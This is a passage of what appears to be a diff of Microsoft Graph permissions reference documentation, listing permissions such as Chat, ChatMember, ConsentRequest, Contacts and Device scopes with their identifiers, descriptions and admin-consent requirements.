+Read and write the names, descriptions, and settings of all channels |
+Read and write the names, descriptions, and settings of channels |
+
+
+| Description |
+Read and write the names, descriptions, and settings of all channels, without a signed-in user. |
+Read and write the names, descriptions, and settings of all channels, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Chat.Create
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d9c48af6-9ad9-47ad-82c3-63757137b9af |
+38826093-1258-4dea-98f0-00003be2b8d0 |
+
+
+| DisplayText |
+Create chats |
+Create chats |
+
+
+| Description |
+Allows the app to create chats without a signed-in user. |
+Allows the app to create chats on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+Chat.ManageDeletion.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9c7abde0-eacd-4319-bf9e-35994b1a1717 |
+bb64e6fc-6b6d-4752-aea0-dd922dbba588 |
+
+
+| DisplayText |
+Delete and recover deleted chats |
+Delete and recover deleted chats |
+
+
+| Description |
+Allows the app to delete and recover deleted chats, without a signed-in user. |
+Allows the app to delete and recover deleted chats, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Chat.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+f501c180-9344-439a-bca0-6cbf209fd270 |
+
+
+| DisplayText |
+- |
+Read user chat messages |
+
+
+| Description |
+- |
+Allows an app to read 1 on 1 or group chats threads, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Chat.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6b7d71aa-70aa-4810-a8d9-5d9fb2830017 |
+- |
+
+
+| DisplayText |
+Read all chat messages |
+- |
+
+
+| Description |
+Allows the app to read all 1-to-1 or group chat messages in Microsoft Teams. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Chat.Read.WhereInstalled
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1c1b4c8e-3cc7-4c58-8470-9b92c9d5848b |
+- |
+
+
+| DisplayText |
+Read all chat messages for chats where the associated Teams application is installed. |
+- |
+
+
+| Description |
+Allows the app to read all one-to-one or group chat messages in Microsoft Teams for chats where the associated Teams application is installed, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Chat.ReadBasic
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+9547fcb5-d03f-419d-9948-5928bbf71b0f |
+
+
+| DisplayText |
+- |
+Read names and members of user chat threads |
+
+
+| Description |
+- |
+Allows an app to read the members and descriptions of one-to-one and group chat threads, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Chat.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b2e060da-3baf-4687-9611-f4ebc0f0cbde |
+- |
+
+
+| DisplayText |
+Read names and members of all chat threads |
+- |
+
+
+| Description |
+Read names and members of all one-to-one and group chats in Microsoft Teams, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Chat.ReadBasic.WhereInstalled
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+818ba5bd-5b3e-4fe0-bbe6-aa4686669073 |
+- |
+
+
+| DisplayText |
+Read names and members of all chat threads where the associated Teams application is installed. |
+- |
+
+
+| Description |
+Allows the app to read names and members of all one-to-one and group chats in Microsoft Teams where the associated Teams application is installed, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Chat.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+9ff7295e-131b-4d94-90e1-69fde507ac11 |
+
+
+| DisplayText |
+- |
+Read and write user chat messages |
+
+
+| Description |
+- |
+Allows an app to read and write 1 on 1 or group chats threads, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Chat.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+294ce7c9-31ba-490a-ad7d-97a7d075e4ed |
+7e9a077b-3711-42b9-b7cb-5fa5f3f7fea7 |
+
+
+| DisplayText |
+Read and write all chat messages |
+Read and write all chat messages |
+
+
+| Description |
+Allows an app to read and write all chat messages in Microsoft Teams, without a signed-in user. |
+Allows an app to read and write all one-to-one and group chats in Microsoft Teams, without a signed-in user. Does not allow sending messages. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Chat.ReadWrite.WhereInstalled
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ad73ce80-f3cd-40ce-b325-df12c33df713 |
+- |
+
+
+| DisplayText |
+Read and write all chat messages for chats where the associated Teams application is installed. |
+- |
+
+
+| Description |
+Allows the app to read and write all chat messages in Microsoft Teams for chats where the associated Teams application is installed, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Chat.UpdatePolicyViolation.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7e847308-e030-4183-9899-5235d7270f58 |
+- |
+
+
+| DisplayText |
+Flag chat messages for violating policy |
+- |
+
+
+| Description |
+Allows the app to update Microsoft Teams 1-to-1 or group chat messages by patching a set of Data Loss Prevention (DLP) policy violation properties to handle the output of DLP processing. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+ChatMember.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+c5a9e2b1-faf6-41d4-8875-d381aa549b24 |
+
+
+| DisplayText |
+- |
+Read the members of chats |
+
+
+| Description |
+- |
+Read the members of chats, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+ChatMember.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a3410be2-8e48-4f32-8454-c29a7465209d |
+- |
+
+
+| DisplayText |
+Read the members of all chats |
+- |
+
+
+| Description |
+Read the members of all chats, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+ChatMember.Read.WhereInstalled
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+93e7c9e4-54c5-4a41-b796-f2a5adaacda7 |
+- |
+
+
+| DisplayText |
+Read the members of all chats where the associated Teams application is installed. |
+- |
+
+
+| Description |
+Allows the app to read the members of all chats where the associated Teams application is installed, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+ChatMember.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+dea13482-7ea6-488f-8b98-eb5bbecf033d |
+
+
+| DisplayText |
+- |
+Add and remove members from chats |
+
+
+| Description |
+- |
+Add and remove members from chats, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+ChatMember.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+57257249-34ce-4810-a8a2-a03adf0c5693 |
+- |
+
+
+| DisplayText |
+Add and remove members from all chats |
+- |
+
+
+| Description |
+Add and remove members from all chats, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+ChatMember.ReadWrite.WhereInstalled
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e32c2cd9-0124-4e44-88fc-772cd98afbdb |
+- |
+
+
+| DisplayText |
+Add and remove members from all chats where the associated Teams application is installed. |
+- |
+
+
+| Description |
+Allows the app to add and remove members from all chats where the associated Teams application is installed, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+ChatMessage.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+cdcdac3a-fd45-410d-83ef-554db620e5c7 |
+
+
+| DisplayText |
+- |
+Read user chat messages |
+
+
+| Description |
+- |
+Allows an app to read one-to-one and group chat messages, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+ChatMessage.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b9bb2381-47a4-46cd-aafb-00cb12f68504 |
+- |
+
+
+| DisplayText |
+Read all chat messages |
+- |
+
+
+| Description |
+Allows the app to read all one-to-one and group chats messages in Microsoft Teams, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+ChatMessage.Send
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+116b7235-7cc6-461e-b163-8e55691d839e |
+
+
+| DisplayText |
+- |
+Send user chat messages |
+
+
+| Description |
+- |
+Allows an app to send one-to-one and group chat messages in Microsoft Teams, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+CloudApp-Discovery.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+64a59178-dad3-4673-89db-84fdcd622fec |
+ad46d60e-1027-4b75-af88-7c14ccf43a19 |
+
+
+| DisplayText |
+Read all discovered cloud applications data |
+Read discovered cloud applications data |
+
+
+| Description |
+Allows the app to read all details of discovered cloud apps in the organization, without a signed-in user. |
+Allows the app to read details of discovered cloud apps in the organization, on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+CloudPC.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a9e09520-8ed4-4cde-838e-4fdea192c227 |
+5252ec4e-fd40-4d92-8c68-89dd1d3c6110 |
+
+
+| DisplayText |
+Read Cloud PCs |
+Read Cloud PCs |
+
+
+| Description |
+Allows the app to read the properties of Cloud PCs, without a signed-in user. |
+Allows the app to read the properties of Cloud PCs on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+CloudPC.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+3b4349e1-8cf5-45a3-95b7-69d1751d3e6a |
+9d77138f-f0e2-47ba-ab33-cd246c8b79d1 |
+
+
+| DisplayText |
+Read and write Cloud PCs |
+Read and write Cloud PCs |
+
+
+| Description |
+Allows the app to read and write the properties of Cloud PCs, without a signed-in user. |
+Allows the app to read and write the properties of Cloud PCs on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+407f0cce-3212-441f-9f55-3bc91342cf86 |
+12ae2e92-14b5-47b2-babb-4e890bbedc0a |
+
+
+| DisplayText |
+Read all Viva Engage communities |
+Read all Viva Engage communities |
+
+
+| Description |
+Allows the app to list Viva Engage communities, and to read their properties without a signed-in user. |
+Allows the app to list Viva Engage communities, and to read their properties on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+35d59e32-eab5-4553-9345-abb62b4c703c |
+9e69467d-e0e2-402b-a926-3d796990197f |
+
+
+| DisplayText |
+Read and write all Viva Engage communities |
+Read and write all Viva Engage communities |
+
+
+| Description |
+Allows the app to create Viva Engage communities, read all community properties, update community properties, and delete communities without a signed-in user. |
+Allows the app to create Viva Engage communities and read all community properties on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ConsentRequest.Create
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+f2143d35-9b4b-480d-951c-d083e69eeb2c |
+
+
+| DisplayText |
+- |
+Create consent requests |
+
+
+| Description |
+- |
+Allows the app to read create consent requests on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+ConsentRequest.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+5942b2f6-5a7b-40af-aa37-4b6ea5447506 |
+
+
+| DisplayText |
+- |
+Read consent requests created by the user |
+
+
+| Description |
+- |
+Allows the app to read consent requests and approvals created by the signed-in user, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+ConsentRequest.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1260ad83-98fb-4785-abbb-d6cc1806fd41 |
+f3bfad56-966e-4590-a536-82ecf548ac1e |
+
+
+| DisplayText |
+Read all consent requests |
+Read consent requests |
+
+
+| Description |
+Allows the app to read consent requests and approvals without a signed-in user. |
+Allows the app to read consent requests and approvals on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ConsentRequest.ReadApprove.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+e694a3a1-7878-46d8-8c29-3d195f6589f4 |
+
+
+| DisplayText |
+- |
+Read and approve consent requests |
+
+
+| Description |
+- |
+Allows the app to read and approve consent requests on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+ConsentRequest.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9f1b81a7-0223-4428-bfa4-0bcb5535f27d |
+497d9dfa-3bd1-481a-baab-90895e54568c |
+
+
+| DisplayText |
+Read and write all consent requests |
+Read and write consent requests |
+
+
+| Description |
+Allows the app to read app consent requests and approvals, and deny or approve those requests without a signed-in user. |
+Allows the app to read app consent requests and approvals, and deny or approve those requests on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+089fe4d0-434a-44c5-8827-41ba8a0b17f5 |
+ff74d97f-43af-4b68-9f2a-b77ee6968c5d |
+
+
+| DisplayText |
+Read contacts in all mailboxes |
+Read user contacts |
+
+
+| Description |
+Allows the app to read all contacts in all mailboxes without a signed-in user. |
+Allows the app to read user contacts. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Contacts.Read delegated permission is available for consent in personal Microsoft accounts.
+
+Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Contacts.Read application permission.
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+242b9d9e-ed24-4d09-9a52-f43769beb9d4 |
+
+
+| DisplayText |
+- |
+Read user and shared contacts |
+
+
+| Description |
+- |
+Allows the app to read contacts a user has permissions to access, including their own and shared contacts. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6918b873-d17a-4dc1-b314-35f528134491 |
+d56682ec-c09e-4743-aaf4-1a3aac4caa21 |
+
+
+| DisplayText |
+Read and write contacts in all mailboxes |
+Have full access to user contacts |
+
+
+| Description |
+Allows the app to create, read, update, and delete all contacts in all mailboxes without a signed-in user. |
+Allows the app to create, read, update, and delete user contacts. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Contacts.ReadWrite delegated permission is available for consent in personal Microsoft accounts.
+
+Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Contacts.ReadWrite application permission.
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+afb6c84b-06be-49af-80bb-8f3f77004eab |
+
+
+| DisplayText |
+- |
+Read and write user and shared contacts |
+
+
+| Description |
+- |
+Allows the app to create, read, update, and delete contacts a user has permissions to, including their own and shared contacts. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+cac88765-0581-4025-9725-5ebc13f729ee |
+81594d25-e88e-49cf-ac8c-fecbff49f994 |
+
+
+| DisplayText |
+Read cross-tenant basic information |
+Read cross-tenant basic information |
+
+
+| Description |
+Allows the application to obtain basic tenant information about another target tenant within the Azure AD ecosystem without a signed-in user. |
+Allows the application to obtain basic tenant information about another target tenant within the Azure AD ecosystem on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+CrossTenantUserProfileSharing.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+cb1ba48f-d22b-4325-a07f-74135a62ee41 |
+
+
+| DisplayText |
+- |
+Read shared cross-tenant user profile and export data |
+
+
+| Description |
+- |
+Allows the application to list and query user profile information associated with the current tenant on behalf of the signed-in user. It also permits the application to export external user data (e.g. customer content or system-generated logs), associated with the current tenant on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
The CrossTenantUserProfileSharing.Read delegated permission is available for consent in personal Microsoft accounts.
+
+CrossTenantUserProfileSharing.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8b919d44-6192-4f3d-8a3b-f86f8069ae3c |
+759dcd16-3c90-463c-937e-abf89f991c18 |
+
+
+| DisplayText |
+Read all shared cross-tenant user profiles and export their data |
+Read all shared cross-tenant user profiles and export their data |
+
+
+| Description |
+Allows the application to list and query any shared user profile information associated with the current tenant without a signed-in user. It also permits the application to export external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant without a signed-in user. |
+Allows the application to list and query any shared user profile information associated with the current tenant on behalf of the signed-in user. It also permits the application to export external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The CrossTenantUserProfileSharing.Read.All delegated permission is available for consent in personal Microsoft accounts.
+
+CrossTenantUserProfileSharing.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+eed0129d-dc60-4f30-8641-daf337a39ffd |
+
+
+| DisplayText |
+- |
+Read shared cross-tenant user profile and export or delete data |
+
+
+| Description |
+- |
+Allows the application to list and query user profile information associated with the current tenant on behalf of the signed-in user. It also permits the application to export and remove external user data (e.g. customer content or system-generated logs), associated with the current tenant on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+CrossTenantUserProfileSharing.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+306785c5-c09b-4ba0-a4ee-023f3da165cb |
+64dfa325-cbf8-48e3-938d-51224a0cac01 |
+
+
+| DisplayText |
+Read all shared cross-tenant user profiles and export or delete their data |
+Read all shared cross-tenant user profiles and export or delete their data |
+
+
+| Description |
+Allows the application to list and query any shared user profile information associated with the current tenant without a signed-in user. It also permits the application to export and remove external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant without a signed-in user. |
+Allows the application to list and query any shared user profile information associated with the current tenant on behalf of the signed-in user. It also permits the application to export and remove external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+CustomAuthenticationExtension.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+88bb2658-5d9e-454f-aacd-a3933e079526 |
+b2052569-c98c-4f36-a5fb-43e5c111e6d0 |
+
+
+| DisplayText |
+Read all custom authentication extensions |
+Read your organization's custom authentication extensions |
+
+
+| Description |
+Allows the app to read your organization's custom authentication extensions without a signed-in user. |
+Allows the app to read your organization's custom authentication extensions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+CustomAuthenticationExtension.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c2667967-7050-4e7e-b059-4cbbb3811d03 |
+8dfcf82f-15d0-43b3-bc78-a958a13a5792 |
+
+
+| DisplayText |
+Read and write all custom authentication extensions |
+Read and write your organization's custom authentication extensions |
+
+
+| Description |
+Allows the app to read or write your organization's custom authentication extensions without a signed-in user. |
+Allows the app to read or write your organization's custom authentication extensions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+CustomAuthenticationExtension.Receive.Payload
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+214e810f-fda8-4fd7-a475-29461495eb00 |
+- |
+
+
+| DisplayText |
+Receive custom authentication extension HTTP requests |
+- |
+
+
+| Description |
+Allows custom authentication extensions associated with the app to receive HTTP requests triggered by an authentication event. The request can include information about a user, client and resource service principals, and other information about the authentication. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+CustomDetection.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+673a007a-9e0f-4c97-b066-3c0164486909 |
+b13ff42e-f321-4d7d-a462-141c46a1b832 |
+
+
+| DisplayText |
+Read all custom detection rules |
+Read custom detection rules |
+
+
+| Description |
+Allows the app to read custom detection rules without a signed-in user. |
+Allows the app to read custom detection rules on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+CustomDetection.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e0fd9c8d-a12e-4cc9-9827-20c8c3cd6fb8 |
+c34088fb-0649-4714-af0b-bcbfec155897 |
+
+
+| DisplayText |
+Read and write all custom detection rules |
+Read and write custom detection rules |
+
+
+| Description |
+Allows the app to read and write custom detection rules without a signed-in user. |
+Allows the app to read and write custom detection rules on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+CustomSecAttributeAssignment.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+3b37c5a4-1226-493d-bec3-5d6c6b866f3f |
+b46ffa80-fe3d-4822-9a1a-c200932d54d0 |
+
+
+| DisplayText |
+Read custom security attribute assignments |
+Read custom security attribute assignments |
+
+
+| Description |
+Allows the app to read custom security attribute assignments for all principals in the tenant without a signed in user. |
+Allows the app to read custom security attribute assignments for all principals in the tenant on behalf of a signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+CustomSecAttributeAssignment.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+de89b5e4-5b8f-48eb-8925-29c2b33bd8bd |
+ca46335e-8453-47cd-a001-8459884efeae |
+
+
+| DisplayText |
+Read and write custom security attribute assignments |
+Read and write custom security attribute assignments |
+
+
+| Description |
+Allows the app to read and write custom security attribute assignments for all principals in the tenant without a signed in user. |
+Allows the app to read and write custom security attribute assignments for all principals in the tenant on behalf of a signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+CustomSecAttributeAuditLogs.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2a4f026d-e829-4e84-bdbf-d981a2703059 |
+1fcdeaab-b519-44dd-bffc-ed1fd15a24e0 |
+
+
+| DisplayText |
+Read all custom security attribute audit logs |
+Read custom security attribute audit logs |
+
+
+| Description |
+Allows the app to read all audit logs for events that contain information about custom security attributes, without a signed-in user. |
+Allows the app to read audit logs for events that contain information about custom security attributes, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+CustomSecAttributeDefinition.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b185aa14-d8d2-42c1-a685-0f5596613624 |
+ce026878-a0ff-4745-a728-d4fedd086c07 |
+
+
+| DisplayText |
+Read custom security attribute definitions |
+Read custom security attribute definitions |
+
+
+| Description |
+Allows the app to read custom security attribute definitions for the tenant without a signed in user. |
+Allows the app to read custom security attribute definitions for the tenant on behalf of a signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+CustomSecAttributeDefinition.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+12338004-21f4-4896-bf5e-b75dfaf1016d |
+8b0160d4-5743-482b-bb27-efc0a485ca4a |
+
+
+| DisplayText |
+Read and write custom security attribute definitions |
+Read and write custom security attribute definitions |
+
+
+| Description |
+Allows the app to read and write custom security attribute definitions for the tenant without a signed in user. |
+Allows the app to read and write custom security attribute definitions for the tenant on behalf of a signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ab8a5872-7c88-47a6-8141-7becce939190 |
+de6ea87d-10bd-467c-8682-d525a0c61b89 |
+
+
+| DisplayText |
+Read all custom tags data |
+Read all custom tags data |
+
+
+| Description |
+Read custom tags data, without a signed-in user |
+Read custom tags data on behalf of the signed-in user |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2f503208-e509-4e39-974c-8cc16e5785c9 |
+2f1bbe0a-f34b-4efb-9edb-8db8dcb50eca |
+
+
+| DisplayText |
+Read and write custom tags data |
+Read and write custom tags data |
+
+
+| Description |
+Read and write custom tags data, without a signed-in user |
+Read and write custom tags data on behalf of the signed-in user |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+DelegatedAdminRelationship.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f6e9e124-4586-492f-adc0-c6f96e4823fd |
+0c0064ea-477b-4130-82a5-4c2cc4ff68aa |
+
+
+| DisplayText |
+Read Delegated Admin relationships with customers |
+Read Delegated Admin relationships with customers |
+
+
+| Description |
+Allows the app to read details of delegated admin relationships with customers like access details (that includes roles) and the duration as well as specific role assignments to security groups without a signed-in user. |
+Allows the app to read details of delegated admin relationships with customers like access details (that includes roles) and the duration as well as specific role assignments to security groups on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+DelegatedAdminRelationship.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+cc13eba4-8cd8-44c6-b4d4-f93237adce58 |
+885f682f-a990-4bad-a642-36736a74b0c7 |
+
+
+| DisplayText |
+Manage Delegated Admin relationships with customers |
+Manage Delegated Admin relationships with customers |
+
+
+| Description |
+Allows the app to manage (create-update-terminate) Delegated Admin relationships with customers and role assignments to security groups for active Delegated Admin relationships without a signed-in user. |
+Allows the app to manage (create-update-terminate) Delegated Admin relationships with customers as well as role assignments to security groups for active Delegated Admin relationships on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+DelegatedPermissionGrant.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+81b4724a-58aa-41c1-8a55-84ef97466587 |
+a197cdc4-a8e8-4d49-9d35-4ca7c83887b4 |
+
+
+| DisplayText |
+Read all delegated permission grants |
+Read delegated permission grants |
+
+
+| Description |
+Allows the app to read all delegated permission grants, without a signed-in user. |
+Allows the app to read delegated permission grants, on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+DelegatedPermissionGrant.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8e8e4742-1d95-4f68-9d56-6ee75648c72a |
+41ce6ca6-6826-4807-84f1-1c82854f7ee5 |
+
+
+| DisplayText |
+Manage all delegated permission grants |
+Manage all delegated permission grants |
+
+
+| Description |
+Allows the app to manage permission grants for delegated permissions exposed by any API (including Microsoft Graph), without a signed-in user. |
+Allows the app to manage permission grants for delegated permissions exposed by any API (including Microsoft Graph), on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Device.Command
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+bac3b9c2-b516-4ef4-bd3b-c2ef73d8d804 |
+
+
+| DisplayText |
+- |
+Communicate with user devices |
+
+
+| Description |
+- |
+Allows the app to launch another app or communicate with another app on a user's device on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Device.Command delegated permission is available for consent in personal Microsoft accounts.
+
+Device.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+11d4cd79-5ba5-460f-803f-e22c8ab85ccd |
+
+
+| DisplayText |
+- |
+Read user devices |
+
+
+| Description |
+- |
+Allows the app to read a user's list of devices on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Device.Read delegated permission is available for consent in personal Microsoft accounts.
+
+Device.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7438b122-aefc-4978-80ed-43db9fcc7715 |
+951183d1-1a61-466f-a6d1-1fde911bfd95 |
+
+
+| DisplayText |
+Read all devices |
+Read all devices |
+
+
+| Description |
+Allows the app to read your organization's devices' configuration information without a signed-in user. |
+Allows the app to read your organization's devices' configuration information on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The Device.Read.All delegated permission is available for consent in personal Microsoft accounts.
+
